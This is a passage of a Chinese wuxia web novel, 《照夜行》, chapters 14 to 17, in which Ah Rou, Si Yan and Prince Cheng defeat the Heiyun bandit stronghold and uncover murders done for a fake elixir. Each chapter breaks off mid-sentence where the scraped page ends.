然而,比她大了整整十岁的大哥见到她,就只会板着脸说道:“最近有好好练功吗?” 戚思辰个子高,阿柔使劲儿扬起头才能看到他的脸。再加上他总是凶巴巴的,压迫感十足,阿柔有些害怕跟他亲近,更喜欢和温温柔柔的二哥待在一起。 其实一开始王府里根本就没人逼阿柔练武,她有两个哥哥,怎么也不需要她来承担起继承景西王衣钵的大任。但许是因为生在将帅之家,对行军打仗之事耳濡目染,小小的阿柔便也起了练武的心思,求着阿爹教他。戚叶临没有教武功的闲工夫,又不舍得这么小一点的女儿吃苦,便干脆把她交给了戚思辰。 戚叶临怎么也没想到,他这个大儿子远比普通的武学师傅要严格得多,对待自己的妹妹也绝不心软。 “在家的时候有练过基本功吗?” “手上用点儿力!软绵绵的能打得过谁?” “跟你说了几遍了,这一招需要腰背用力,你要怎么才能记住?” “戚雪柔,你到底想不想好好练武?” “……” 小阿柔只觉得委屈。明明家里的武功师傅都说她聪明有灵气,一学就会、一点就通,怎么到了大哥这里,就成不学无术的小废柴了? 阿柔瘪起嘴,十分任性地丢掉了手里的木剑,不管不顾地去一旁的大树底下乘凉去了。 大哥见状气坏了,正准备出言教训,却被人拦住了。 戚思彦温声劝慰道:“好啦大哥,你跟一个小丫头置什么气?” 那时的戚思彦正值少年,还未中奇毒,身形挺拔,面容清俊,没有半分病弱之态,只是骨子里与生俱来的温柔却怎么也无法掩藏。 “小丫头?”戚思辰轻哼一声,“我看是大小姐吧,一身臭脾气。咱们两个像她这么大的时候,哪有人哄着练功?当时挨的骂可要难听得多了。” 阿柔之所以敢在大哥面前这么嚣张,就是算准了好脾气的二哥会替她挡这怒火,干脆得寸进尺地躲在二哥背后,冲大哥说道:“明明就是你不讲道理!” 戚思辰气笑了,也不去抓她,抱胸立在原地,居高临下地看着阿柔,说道:“你倒是说说,我怎么不讲理?” 见大哥一副洗耳恭听的模样,阿柔反而有些犹豫了。 “怎么,说不出?”大哥挑眉。 阿柔脖子一梗,奶声奶气地说道:“我是个女孩,力气本来就小,你干嘛要用你小时候的标准要求我嘛。” 大哥点点头,神色并未松动,“对,你是女孩,所以呢?战场之上,你的敌人会因为你是女孩而心慈手软吗?” “战,战场?”阿柔一愣。 “那你学武功是为了什么,只是因为好看吗?”大哥又问。 “不是!”阿柔红着脸辩驳,尽管在她心里的确是这么想的。 “戚雪柔,你是景西王府的小姐。钱财、地位和宠爱,这些都是寻常百姓穷其一生也不一定能拥有的东西,而你天生就能得到。你看,你多幸运啊。”大哥语气平淡,却又带着浓浓的威严之感,让人不敢忤逆,“你觉得武功很帅,求着阿爹去学,阿爹立马就让我和武学师傅来教你。但你可知道普通人家的女子过的是什么样的日子?她们活在束缚里,活在世俗的目光中,活在数不清的规矩下,被要求学习三纲五常、女红女德,养在深闺,等稍微大一点的时候就被父母当作商品一般卖给别人家当媳妇,最终只能在不见天日的宅院里面相夫教子。这样的生活,你想要吗?” 阿柔吓了一大跳,直接被吓哭了,滚烫的泪水顺着脸颊滑落,哽咽着说道:“阿,阿娘……不……不会把我卖给别人的。” 二哥连忙半蹲下身子,擦了擦她的眼泪,又抱又哄道:“不卖不卖啊。” “阿娘不会把你卖给别人,我也不会。我只是想让你知道,这世道对女子并不公平,你若不想被困在伦理纲常的束缚之下,就要付出百倍的努力,摆脱别人的庇护,拥有与世俗眼光对抗的能力和底气。阿柔,你哥不能护你一辈子,你迟早有一天要独当一面的。到时候,你 14. 首战 《照夜行》全本免费阅读 “你……”阿柔讶异地张了张口,心中既好奇又担忧,不知该如何问出口。 司言看着她这副忐忑不安的样子,毫不在意地耸了耸肩,“没什么不能说的。自打我有记忆起,就被师父养在故渊门里,也从来没见过我的爹娘,我师父说他们都不在了。” 阿柔心头涌起异样的情绪,涩涩发酸,突然间就有些愧疚——她出身名门,又天生享受着父母亲人的宠爱,已经比这世上绝大多数人都幸运了,又有什么资格怨天不公、长吁短叹?而且,如果不是她说起那句“有亲人的地方才算是家”,司言也不会想起这些让他难过的事。 阿柔慌忙劝慰道:“可是,不一定只有血脉相连才能叫亲人啊。你说你从小在故渊门长大,除了师父之外,肯定还有许多同门的兄弟姐妹吧。别人我没见过,但叶温遥师兄待你却真是如同亲人一般的。” “师兄待我很好,我也很感激他,他也算是我为数不多的可以交心的朋友了。”司言眸中闪烁着柔和的光亮,看向阿柔,“你也是。” “为数不多?”阿柔惊讶地道。 她以为像司言这种性格热情又能说会道的人,常年在江湖中游走,一定能结交到不少出生入死的挚友。 司言知道她在想什么,却并未解释,只是打趣着说道:“是啊,可怜吧。” 阿柔摇摇头说:“能跟我交心的人也不多。” “那我们两个可怜鬼算是凑到一起来了。”司言爽朗地笑了几声,双手交叠,枕于脑后,“说实话,我刚才看你一脸愁苦地坐在树上,还以为你是心中有怨呢。” 阿柔眯起了眼睛,难以理解道:“怨什么?” “承王在营帐中布置的行军策略,有一大半不都是你想的么?眼睁睁地看着自己的想法被盖上了别人的印章,你当真一点儿也不难过?”司言问道。 “是我自己不让殿下向军中人提起我,有什么好难过的?”阿柔浑不在意,“再说,要是让圣上知道我这个游历在外的闲人,竟然帮承王立下功劳,只怕就该起疑心了吧。” “所以,即使千百年后,承王带兵剿清烟云四州匪患一事成为美谈,为后世所称颂,却无人谈及你的姓名,你也心甘情愿吗?”司言定定地看着她。 “才名艳名皆是过往云烟,待千百年后,我都化成灰了,要别人的称颂又有何用?”阿柔不屑地轻哼了一声,神采飞扬地道,“人应当为了自己而活。” 司言将她这句话在心里默念了一遍,朗声道:“好一个为自己而活,只可惜今夜没有酒,不然我定要敬你一杯。” “好啊,那你先欠着,等回京城了,可要好好请我喝一次酒。”阿柔毫不客气地道。 时间流转,转瞬便至深夜。被夜色笼罩的黑云山沉寂地仿佛睡着了一般。 黑云寨中,陈松一身轻裘,眉头紧锁,坐于正殿主位闭目养神。 “报!”一个小喽啰慌张地从外面闯了进来,“大当家的,那帮官兵从北面打上来了,一路屠了我们两座岗哨!” 陈松猛然睁开眼,面色郁结,“带队的是承王吗?” 小喽啰摇了摇头,“不,不是,承王好像并不在其中。” 陈松冷笑道:“朝廷派承王这么一个废物草包来,就想将我黑云寨多年的基业毁于一旦,未免过于异想天开了。” 而另外一边,陈焕按照承王的吩咐,只带了一小部分兵力上山。即便如此,这支小队依旧锐不可当,一路上风卷残云地清掉了好几个黑云寨设下的岗哨。眼看着就要杀到寨门口,林间四周却突然窜出来了一群手舞大刀的匪徒上前拦截,领兵之人正是黑云寨二当家刘铭。 这些人从未受过训练,使起刀来却蛮劲儿十足,仿佛有气吞山河之势。他们的招数毫无章法,完全是不管不顾与人拼命的架势,长刀挥斩,飒飒生风,带着浩荡凛冽的杀意直冲官兵。 军队士兵训练有素,自然也不可能就这样被吓到,反而越战越勇。陈焕冲锋陷阵在最前端,浑身浴血,平日里看起来木木讷讷的人,此时此刻如同从地狱里爬出来的杀神,以一敌十也不在话下。 刀剑相撞的刺鸣与悲壮的哀嚎响彻云霄。一开始,陈焕带领的官兵凭借着剽悍的作战能力占领上风,但交战的位置实在是太过于靠近黑云寨,以至于寨中人可以源源不断地补充兵力。久而久之,陈焕等人的体力终于告罄,在察觉到局势即将扭转的时候,毫不犹豫地撤退逃跑了。 眼看着败兵狼狈不堪的背影即将消失无踪,黑云寨的土匪们个个摩拳擦掌,跃跃欲试地就要追上去。 “且慢。”二当家刘铭举起一只手,示意他们不要轻举妄动。 山上的土匪无法无天惯了,人人肝火旺盛,闻言皆有些不服,但迫于二当家素日来的威信,还是没能继续追下去。 “二当家,我们为何不乘胜追击?”有人问道。 “他们只派了这么一点兵力就敢闯上山来,撤退得又如此果断彻底,只怕有诈。如果他们在林间设伏,我们就这样莽撞地冲上去,岂不是正中下怀,自投罗网?”刘铭看向旁边的手下,“你带上几个弟兄悄悄去查探一下情况,一旦有异动,立刻来报。” “是!” 等到手下人带着消息回来的时候,已是第二日午后。 “你说什么?没有埋伏?”陈松神色阴晴不定,“既然下山的路上没有埋伏,也没有营地,他们怎么敢带着这么一点人闯上山来?” “大哥,此事都怪我。”刘铭抱拳,一脸歉意,“若我没有患得患失,忧虑过重,而是直接追上去,一定能将那队人留下来。” 陈松面色稍缓,摇了摇头,“别这么说,你的谨慎是对的,换做是我,也一定不敢追上去。” “只是这承王到底想做什么?”刘铭皱眉凝神思考,随即看向汇报消息的那名手下,“你们可还查探到了什么?” “回二当家,小的们不敢靠军营太近,只是隐约听见营帐里传来乐声。” “乐声?”陈松怪道,“这地方哪来的乐声?” “小的也觉得奇怪,于是就多观察了一会儿,结果……”小喽啰顿了顿,“结果看到营帐里有许多穿着艳丽的歌姬舞女进进出出。” “什么?”陈松没忍住,直接笑出声来,“这位承王殿下当真让我大开眼界。” 刘铭却拧了拧眉心,“承王如此荒唐,那些官兵真能容忍他么?这该不会又是他演给咱们看的一场戏吧。” “二弟,你有所不知。”陈松靠坐在椅子上,只觉一切尽在他的掌控之中,“承王在当今圣上的几个皇子中,是出了名的废物,本就是个有娘生没娘养的可怜虫,还不思进取,京城贵胄从未有人正眼瞧过他。你相信这世上真能有人伪装潜伏十几年吗?况且,他总不可能十几年前就算计到今日之事,要演给我们看吧?” “大哥说得是,是我太多心了。”刘铭颔首道,“那接下来该怎么办?” “不急,再观察观察。”陈松得意道,“我倒很好奇,这位殿下还能翻出什么花样来。” …… 此后数日,陈焕按照承王的吩咐,只带少数兵力上山骚扰黑云寨,一旦有打不过的倾向,扭头就跑。接连几天之后,饶是陈焕一直把控尺度,避免损耗,也难免出现了伤亡,暂时停止了上山的行动,与黑云寨互不干涉。 黑云寨本来已经习惯了官兵几次三番小打小闹的碰撞,突然间没了动静,一时也拿不准究竟是怎么回事。 而另一边,军营上下同样不敢有半分松懈。 伤兵营帐内,阿柔帮着行军军医打下手,为负伤的士兵包扎。 “该换药了,可能会有点疼,你忍着点儿。” 阿柔正准备拆开伤员肩头裹着的纱布,对方却突然往后躲了一下,有些不好意思地用另外一只手挠了挠头。 阿柔疑惑道:“怎么了?” “那,那个,姑娘,这样是不是不太好……”满身肌肉的糙汉扭扭捏捏地说完了这么一番话,面上泛起潮红。 阿柔没忍住笑出了声,“怎么,没见过女大夫?” 站在一旁刚刚给别人包好纱布的军医闻言,嫌弃地道:“人家姑娘家的都没说什么,你这大老爷们怎么害羞起来了?扭扭捏捏的,也不怕别人笑话。” 那糙汉耳根子都红了,“我没有!这,这不是害怕对 15. 炼丹 《照夜行》全本免费阅读 沉寂数日之后,驻扎山脚的朝廷兵再一次有了动静,在山下排兵列阵,进行了一场浩浩荡荡的战前宣讲。 这些消息传回寨中,陈松便猜想,他们这是想倾巢而出,集体上山围攻黑云寨。 只是,这样的安排未免也太不把他们放在眼里了。 朝廷军队纵使再骁勇善战,毕竟寡不敌众,而他们黑云山的可用兵力少说也有七八千。更何况,寨中人远比朝廷兵更熟悉黑云山的地理地势情况,只要朝廷兵敢攻上来,他们就有机会反打。 “他们如果一直围在山底下,我反倒拿他们没办法。”陈松轻哼一声,“可如今他们自己要打上来,暴露出的破绽就多了。” “大哥,虽然他们主帅无能,但总体实力仍旧不容小觑,我们也绝不能坐以待毙。”刘铭万分诚恳地说道。 陈松皱着眉,似乎在思考着接下来的对策。 刘铭见状又道:“朝廷兵倾巢而出,承王不还在营帐里吗?” …… 帐外夜色正浓,黑云寨上下戒备森严,人人各司其职、忙前忙后。没有人注意到空寂的后山,出现了一个白色的身影。 年轻的道士跪在高高的土堆前,神情凄怆地一下又一下磕着头,嘴里自言自语道:“对不起,对不起,我不是故意要害你们的,只是……只是师父说,只有把事情闹大了,才能引起朝廷那边的注意,我们才有机会逃走……等我出去以后,我会给你们烧纸,你们别来找我了,对不起,对不起……” 说到最后,他的神态几近癫狂,仿佛处于崩溃的边缘。 其实他从来没有想过要害别人。 师门没落,师徒二人狼狈不堪地浪迹于江湖中,原本只想寻一个栖身之地,等安顿下来之后,再找机会重振师门。不想在经过烟云四州时路遇黑云寨土匪,掠去他们身上为数不多的银两,连人也抓了回去。 等上了山,见到大当家陈松后才知道,陈松想要留他们在寨中为他炼制丹药。 世人对道门多有误解,以为所有道士都通晓炼丹之术。但是在土匪们的胁迫之下,他们没有别的选择,只能硬着头皮应了下来。 一刹那间,老道士心生一计,骗陈焕说,他们祖上流传一种秘方,炼出的丹药可以长命百岁、羽化升仙,只是需要以处子的心头血作为药引方能生效。 当晚,陈松便给两个人收拾出一间客房,从此将其引为座上宾,寨中之人无不对其尊重有加,也就只有二当家刘铭从未给过他们好脸色。 锁上房门,年轻道士惊慌地问:“师父,我们祖上真的有这样的秘术么?怎么从未听您提起过?” “当然没有,这都是诓陈松那老贼的。”老道士面色沉沉,声音却冷静得出奇。 年轻道士大惊失色,“可,可是,万一陈松信以为真了怎么办?” “我就是要让他信以为真。” 师父冷淡到几近无情的音色,激得年轻道士心中一阵恶寒。他睁大了眼睛,难以置信地道:“为什么?” “只要这黑云寨一天不破,我们就永远别想离开这个地方。只有把事情闹大,闹到朝廷不得不管的地步,他们才会出兵清剿黑云寨。”老道士低下头,沉声说道,“你别怪为师心狠,这也是没有法子的事。要怪,就去怪那群狗官吧。” …… 天边还闪烁着蒙蒙的光亮时,陈松带着自己的一部分亲信,从黑云山南面偷偷地溜了下来。南面是陡坡,没有可以走的路,只有密密麻麻的森林。从南面下山十分费劲,但正因如此,官兵并未在这里布下过多防守,很容易隐藏行踪。 他原本不打算亲自下山,但二当家刘铭无意间提起,最近寨中人心涣散。再加上因为先前炼丹一事,许多人背地里都对陈松颇有微词。陈松必须要找到一个机会重新竖立自己的威严,否则即便真能躲过这一劫,他也很难再统领寨中事务。 朝廷军队已经上山去了,算算时间,应该已经到了寨门口。山上注定会是一场恶战,拖得太久不是什么好事,陈松的行动必须要快。 许是因为前两日带兵攻山的时候没有捞到什么好处,承王终于意识到自己太过轻敌,休整几日过后,命人带领所有兵力攻山。此刻,山下营地里就只剩下了一小部分兵力,大多还是伤兵营里休养的病号。 陈松早先练过武功,知道如何隐藏自己的脚步声,在防备极其松懈的军营之中绕了几圈,避开了巡视兵,来到了主营帐外。 他没有急着进去,而是从营帐的缝隙之中观察着里面的情况。 只见身着锦衣华服、宽袍大袖的年轻男子坐在案前,怀中还坐了个娇俏动人的美人。二人言笑宴宴,神情顾盼流转,氛围暧昧亲热至极。 陈松暗自冷笑一声,动作利落地吹进去一些迷烟。 不消片刻,帐内隐约传来“咚”的一声,陈松再看时,帐中人已经双双倒在地上。他身形一晃,转眼便至帐前,以迅雷不及掩耳之势打晕了看守营帐的两个士兵,将他们拖入帐内,以防被巡逻兵发现。 做完这些,陈松来到案前,看着倒在地上人事不省的一男一女,轻哼一声,“也不知皇帝怎么会派了你这么一个废物来。” 说罢,他蹲下身,就要将面前昏迷不醒的男人拖走。谁知他刚一伸出手,却听到一声女人的清脆笑声。 陈松浑身一惊,猛地转过头去看倒在地上的娇俏美人,正好对上了一双狡黠的双眼。 他心中暗叫不好,反应极快地就要起身逃跑。然而已经跳入圈套之中,哪里是那么容易就能跑的? 陈松感到手腕被人抓住,连忙使出内力想要挣脱对方的禁锢。只是与他交手的俏娘子远比想象中要狠辣凌厉,掌中带风,直朝着他的要害之处推去。他狼狈不堪地躲闪,毫无招架之力。 眼看着就要落败,陈松眼角余光瞥到仍旧合眼倒在地上的男子,毫不犹豫地趁着俏娘子出手的间隙滚到他的身前,将人直直地从地上架了起来,袖口亮出一柄锋利的短刀,刀尖抵住男人的脖颈。 “站在原地别动,不然我现在就杀了他。”陈松狠厉地道。 面前的俏娘子神情漠然,淡定地点了点头,说道:“哦。” 陈松:??? “我没有与你说笑!”陈松恼羞成怒,似是怕她不为所动,刀尖又往里面怼了怼,划出一道小口,渗出血来。 “巧了。”俏娘子点点头,“我也没有。” 陈松手中的刀应声而落,却这并不是因为他手软。还没待他反应过来,手腕传来一阵剧痛。刚才还倒地不醒的锦衣男子,转瞬闪至陈松的身后,抬脚在他背后一踹,直接将人踹倒在地上动弹不得。 “阿柔你也太无情了,万一他刚才一狠心,真的抹了我的脖子可怎么办?”男人摸了摸有些刺痛的脖颈,摸到有血流了出来,大惊小怪地说道,“你看,我受伤了,须得赶快处理才是。” 阿柔看了他一眼,漠然地说道:“是得赶快处理,再晚一点,伤口就要愈合了。” 能让阿柔如此不耐烦的人,全营上下,也就只有司言了。那穿着华服大袖,身配珠光宝饰的人,分明就是司言。 真正的承王殿下,带领营中剩余的士兵一涌而入,将陈松团团包围起来。 阿柔向承王抱拳道:“殿下,黑云寨首领陈松已被抓获。” 士卒补充道:“陈松带下山的亲信也已一并拿下。” 李晁奚点头,铿锵有力地说道:“营中众将听令,跟随本王一同上山。” …… “二当家的,不是说官兵马上就要打上来了吗?兄弟们等了半天,怎么连半个人影也没见到。”寨门之上,有小喽啰疑惑地问道。 “不急,再等等。”刘铭沉着地回答。 他无言地望着远处的山林,突然想到,自己曾无数次站在这里,而黑云山上的风景好像从未有过改变。 就好像一切都没有发生,陈松还是那个让他敬仰的大哥,未曾听信那两个道士的谗言,也没有做出那些让他感到荒唐和血腥的事情。 而他也没有选择背叛。 但是事情已经发生了,再也无法挽回。 刘铭没有告诉任何人,他曾经在山下有个交好的女子。那个姑娘虽然样貌普通,但却温柔良善,体贴贤惠,即便知道了他的过去有多么不堪,也从未嫌恶离弃,反而劝说他放下对于世道不公的仇视与愤恨,让他觉得就这样平平淡淡、安安稳稳地活在世上也未尝不是一件幸事。 再后来,大哥派他去岐州处理事务,原想回来之后就告诉大哥他要娶亲的事情。可等他赶回苔州,只见到了心爱之人的尸体——她死在了大哥的刀下。 陈松凭什么因为两个道士的胡言乱语,就轻而易举地夺走别人的性命? 当时的刘铭肝肠寸断、肝胆欲裂,但流露出来的情绪却异常平静。为所爱之人报仇,需要等待一个时机。 某天,朝廷派兵清剿黑云寨的消息传来,寨中上下惶惶不可终日,陈松却一意孤行,一定要留在黑云山与朝廷对拼,也不允许手下人私自出逃。一来,他不甘心放弃黑云山在烟云 16. 安慰 《照夜行》全本免费阅读 “阿柔。”司言轻轻唤了她一声。 阿柔反应过来,动作极快地将眼泪擦去,也没有回司言的话,假装什么也没有发生。 司言只好默默地收回视线。 站在前端引路的刘铭对身后发生的一切置若罔闻,直勾勾地盯着废坑的某个角落,也不管眼前的景象有多骇人,沉寂地朝着那个方向走了过去,蹲下身来。 刘铭颤抖着双手,在尸山血海中翻找着,全然不顾扑鼻而来的腐烂气味。不知过了多久,他终于见到了那张因为腐化而面目全非到有些陌生的脸,将她从尸海中拖了出来,紧紧地抱住了她。 在这一刻,时间仿佛静止了。苍茫天地,广远寂寥,只剩下了两个人。他们的身躯交缠在一起,骨血相融,再也不分彼此。 不知过了多久,他终于回过神来。 阿柔掏出袖中方帕,在少女沾满血污的面容上擦了擦,依稀可见她原本清秀的容颜。 刘铭有些惊讶地望向她。 “你是为了她才选择和朝廷合作的么?”阿柔没有停下手中的动作。 若不是刘铭和他们里应外合,怂恿陈松下山劫持承王,只怕没那么容易将黑云寨拿下。其实即便陈松放弃以身试险、剑走偏锋的行动,朝廷兵也能通过围困黑云寨的方式将其活活耗死。但如此以来,花费的时日可就要多得多了。张家人还被安置在来阳,他们必须尽快处理黑云寨的事。 “是为了她,也不只是为了她。”刘铭将怀中毫无声息的少女小心翼翼地放在地上,抚了抚她额角的鬓发,“我要亲手为云娘报仇,也绝不能让陈松带着寨中的兄弟去死。” “所以……”阿柔抬眼看向尸骨遍地的惨象,“陈松为什么要杀她们?” “为什么要杀她们……”刘铭嗤笑一声,眸中突然闪烁起仇恨的火焰,猛然站起身来,“那两个胡言乱语的臭道士呢?我现在就要手刃他们,为云娘报仇!” 刘铭丢下这句话,不管不顾地去寻道士的下落去了。阿柔皱起眉,与司言对视一眼,二人一道追了上去。 刘铭情绪的突然失控,是谁也没有想到的。阿柔的心一点一点沉了下去,觉得自己好像隐隐触碰到了那个有些荒唐又极度残忍的真相。 他将寨中上下翻了个遍,仍旧没有找到目标对象,目眦尽裂地拎起一个手下人的衣领,“不是让你们盯着他们吗?人呢?!” 手下人从来没见过二当家这副模样,哆哆嗦嗦地道:“二当家的,当,当时朝廷兵就,就要打进来了,小的们都去寨门迎敌,一,一时不察……” “守门之事我自有安排,你去凑什么热闹?”刘铭面色阴沉地伸手一推,小喽啰直接倒在地上,摔得嗷嗷乱叫。 司言上前说道:“这两个道士极有可能趁乱从南面陡坡溜走了,承王殿下早先便派人下了通缉告示,想必他们也不会跑太远。二当家不妨先与我们说一说,这两个道士究竟做了什么事情?” 刘铭长吐一口气,稍稍平复了一下心情,“好。” …… “炼仙丹?”阿柔难以置信地道,“几十条人命,在他眼里,竟然就只是炼丹的药引?” 这世上哪来的什么长生不老、飞升成仙的灵丹妙药?无非是世人自欺欺人的一种手段罢了。陈松好歹也在黑云寨叱咤风云了小半辈子,竟然也会相信这种奇闻怪事? 司言似乎看透阿柔在疑惑什么,在她耳边说道:“有的人造的孽多了,就会想要通过求仙问道的方式来聊以□□。” “可他却因此造下了更多的杀孽。”阿柔说道。 “这世上有形形色色的人,你不能试图去理解他们每个人内心的想法。”司言的语气冷静得出奇,“也许他并没有完全相信那两个道士所说的话,但只是杀几个人而已,对他来说,只要动动手指就能达到目的,根本不需要付出什么代价。所以他抱着侥幸的想法:万一那两个人说的是真的呢?反正没什么损失,那不如就试试吧。” 阿柔看向后山废坑的方向,眼睫微微颤抖,声音极轻,“也许他真是这么想的,但我也不想懂。” 说完,她抬脚就要走。 “你去哪?”司言脱口而出。 阿柔回头看了他一眼,“去找殿下,让他下令通知那些少女的亲眷来黑云山认领尸骨。” 她的眼帘微微垂下,显得疲惫而又忧伤,紧接着转过身,朝黑云寨正厅的方向走去。 司言望着阿柔有些单薄的背影,心中莫名升起一股烦躁,其中夹杂着几分酸涩。他什么也没说,直勾勾地望着少女一路进入正厅之中。 其实他很讨厌看别人离去的背影,这样总显得他一个人站在原地孤零零的。司言自嘲地笑了一下,强行扫去这样矫情的想法,没有跟上阿柔的步伐。 司言知道,阿柔不是养在深闺的大小姐,相反,她踏遍河川,绝不是第一次见到这样的惨象。但她仍旧会因为他人遭遇而悲悯,会为了民生苦难而落泪。这样生动而鲜活的人,与他之前见过的很多人都不一样。 也和他自己很不一样。 让人有些羡慕,甚至是……嫉妒。 攻下黑云寨之后还有许多收尾工作,不过这些都不是司言要去考虑的事情。 几天之后,在承王的安排下,所有在黑云山中不幸殒命的良家女子都被风风光光地下葬了。至于这些受害者的亲眷家人在看到面目全非的遗骨时有多么哀恸绝望,让人此生不忍再回忆一遍。 两个向陈松进献谗言,间接导致几十名女子被害的道士,至今仍然没有被找到。只是朝廷早就下发了海捕文书,要找到他们也只是时间的问题。值得一提的是,官兵后来在道士制仙丹的丹炉里搜到了一些有毒药草,长期服用极有可能会刺激神经,产生幻觉。这次剿匪行动之所以这么顺利,应该也和陈松服药过度有关系。 将一切事务都处理妥帖之后,李晁奚带领众将士离开苔州,往来阳的方向去了。 经此一役,恐怕朝中会有很多人对他的能力持怀疑和观望的态度,怀王和太子等人更会对他心生忌惮,以后的路不会好走。 “殿下,启程吧。”陈焕说道。 李晁奚一袭轻裘,骑着马,回望了一眼浩浩荡荡的军中将士,又抬头看了看刚从层层云雾中挣脱而出,徐徐升起的太阳。他轻轻地笑了一下,说道:“走。” …… 回程时的心境与去时大不相同。以极少的兵力损耗,收服了烟云四州大小匪帮,算得上是大功一件。众将士现在无事一身轻,只等着回京听圣上论功行赏。 苔州与来阳距离很近,早上出发,晚上即可到达。入城之后,杨知府在府衙内为承王设宴庆功,司言和阿柔则是轻车熟路地回到了先前小住过的宅院里。 两个人一路无话,并肩推门而入。 初冬时节,庭院里栽的树光秃一片。之前枯叶掉落在地上,也早就被家仆扫干净了。 月色温柔如水,映在院内,给四周镀上一层柔软而温和的白。 阿柔悄悄地看了一眼身旁人的侧颜,莫名有了一种回家的错觉。 前方响起剑刃相接的刺鸣,好像有什么人正在操刀演练——事实上也的确如此。阿柔没走两步,就看到许久未见的张家小公子张闻亦,挥舞着一柄长剑,正有模有样地使着剑法,冲面前的叶温遥而去。 叶温遥一手拿着剑接招,一手握着个苹果,啃着苹果的同时还不忘指导,“不是只有手用力就可以了,你全身上下都要使劲儿,要不然使出来的招数软趴趴的,谁也打不死,明白吗?哎,这就对了。” 叶温遥正玩得不亦乐乎,突然感觉到旁边投过来的目光,停了手中的动作,朝那边望去。 司言上前一步,“我们两个都在这里看了许久了,你却才发现我们。反应如此迟钝,这让我怎么放心把张家人交给你?” “少来。”叶温遥收了剑,吃掉最后一口苹果,将果核随便地扔在了树底下,“我一听到脚步声就知道你们回来了,再说,这张小公子不是好端端地站在你的面前吗?是吧。” 张闻亦行了一礼,“司言公子,阿柔姐。” 阿柔多少有些意外。如果没记错的话,她离开的时候,张闻亦还只会拎着木剑乱舞。而如今,他已经能用铁剑使出一整套完整的剑法了。 “你母亲和妹妹呢?”阿柔问。 “她们在内院休息,这会儿应该已经睡下了。”张闻亦答道。 司言问叶温遥:“我走的这段日子,有人来过么?” 叶温遥点了点头,又小心翼翼地朝着阿柔的方向看了一眼。 “不用顾及我。”阿柔看穿他的心思,说道,“云影派卷入朝廷纷争,灭口无辜之人,早已不是我应该维护和爱戴的师门,我也绝无可能为花羽说话。” 叶温遥干笑两下,说道:“花羽亲自带人来过两次,但他没想到来阳被我们的人守得这么严,因此无功而返。” 张闻亦早已不是在父母羽翼保护下的少年了,这些日子,他跟着叶温遥练武,也听他讲了一些有关朝廷纷争的事,明白自己如今的境遇和祁照、怀王,以及云影派都脱不了干系。他在心中暗暗记下这笔债,心想将 17. 猜测 《照夜行》全本免费阅读 第二日清晨。 “呦,什么情况?”叶温遥围着阿柔和司言两个人转了又转,“看你们这一副要死要活的样子,昨天晚上干什么去了?” 阿柔打了个大大的哈欠。 “你别在我眼前乱晃,看着晕。”司言盯着两个黑眼圈,幽怨地说道。 “是你自己说今日启程回京,要早些休息的。”叶温遥转头看向张闻亦,“你也听见了,是吧?” 张闻亦在司言沉默的凝视中小心翼翼又胆战心惊地点了点头。 司言昨夜本来只想在屋顶上吹吹风,没想到发展成和阿柔一边喝酒一边聊天,最后聊到天都蒙蒙亮了才陡然想起来今天还要赶路。 两个人死要面子,即使困到头皮发麻,也不愿意坐马车。 最后承王看不下去了,叮嘱陈焕看好他们两个,别让他们掉下去。 来阳位置偏远,紧赶慢赶也要二十多日才能到达京城。 一开始为了节约时间,尽早赶到都城,他们很少进入沿途城市,大多数时候都随军驻扎在野外。 这样的强度对司言他们这种习武之人自然不在话下。只是张家的那位小姑娘到底只有七岁,军中条件艰苦,一路又奔波劳累,再加上水土不服,走到一半就病了。 为了照顾张家人的身体情况,承王还是决定让他们去住城里的客栈,自己则跟着军中将士同吃同睡。 淮宁城。 步入冬季,越往北走天气越冷。 阿柔为张家人安排好住处,又吩咐好店小二去煎药。忙完这些,她走到客栈庭院想要透透气,被突如其来的一阵冷风吹得瑟瑟发抖。 紧接着,阿柔眼前一黑,好像有什么东西盖在了她的头上。她被吓了一跳,慌忙掀开一看,才发现是件大氅。 阿柔回过身,罪魁祸首就站在她的面前,面上的笑容看起来真诚极了。 阿柔:“……” “我发现你真的很喜欢吓人。”阿柔一边说着,一边将大氅披在身上,果然觉得暖和些了,“谢谢啊。” “张姑娘的病怎么样了?”司言问道。 “有点发热,不是什么大问题。”阿柔回答。 “那就好。”司言试探地道,“再过十几日就要到京城了,到时候你有什么打算?” 阿柔仔细想了想,回答:“暂时还没想好,不过我已许久没见过二哥了,这次怎么说也要过了年再走。” 司言点了点头,又道:“外面这么冷,不如进去吧。要不要吃点东西?” 阿柔的确有点饿了,应声道:“好啊。” 客栈大厅里搭了个小台子,说书人讲故事妙趣横生,引得四座惊叹连连,纷纷喝彩叫好,呈现出一片热闹之色。 阿柔轻车熟路地点好了菜,又吩咐店家送几样到楼上张家人的客房去。 店小二见她点的都是些好评如潮的招牌菜,好奇道:“姑娘是小店的常客吧。” 司言听闻此言,也看向了她。 阿柔并未反驳,回答道:“以前来过几次,算不上是常客。” 小二走后,司言开口道:“来过淮宁?” “嗯。”阿柔喝了一口茶,“先前我还在师门的时候,师父第一次同意我下山历练,就让师兄带我来了淮宁,后来我出门游历的时候也来过几次。” 她口中的师兄正是云影派现任掌门花羽。 司言没想过她会主动提起云影派的事,有些惊讶。 “在我印象里,师兄是个不苟言笑的人,对待什么事情都特别严肃,和我大哥有点像,所以我不太亲近他。”阿柔自顾自地说道,“其实我在云影山的日子也只有短短四年罢了,对于师门中人远不能算是了解。只是,在我印象中,师兄虽然不苟言笑、为人严厉,待我们师兄弟妹却是极好的。所以……我真的很想知道,他为什么要投靠怀王。” 云影派早先也是江湖中的高门旺派,虽然近些年来稍有颓败没落的趋势,但好歹自力更生,并不依附受制于他人。 “你想要当面问清楚吗?”司言说道。 “当然。”阿柔回答。 司言摩挲着手中的茶杯,状似无意地道:“你猜他们今夜会不会对张家人动手?” 阿柔摇了摇头,压低了声音说道:“我猜他们以后都不会动手了。如今张家人得了承王的庇护,张夫人手中留存的祁照的罪证也传到了承王的手中,现在灭口张家人已经没有用了。祁照是圣上要打压的人,怀王若不想引火烧身,便只能弃了他。更何况,怀王现在已经知道故渊门投靠了承王一派,执意要保张家人入京,云影派的人很难在你们眼皮子底下刺杀成功。” “阿柔最后一句话是在夸我吗?”司言笑了笑。 “故渊门的实力用不着我认同,这是江湖公认的事实。”阿柔一本正经地说道。 说到这里,店小二端了饭菜上来,热情洋溢地说道:“两位客官,请。” 阿柔拿起筷子,没有再继续刚才的话题,认真地吃着饭。 不远处,说书人刚讲完了一出好戏,台下观众纷纷鼓起掌来,阿柔也象征性地拍了拍手。 有观众扬声说道:“来来回回就这么几出话本,早都听腻了,就没有什么新玩意儿吗?” “是啊是啊!” “这些都听过好几遍啦。” 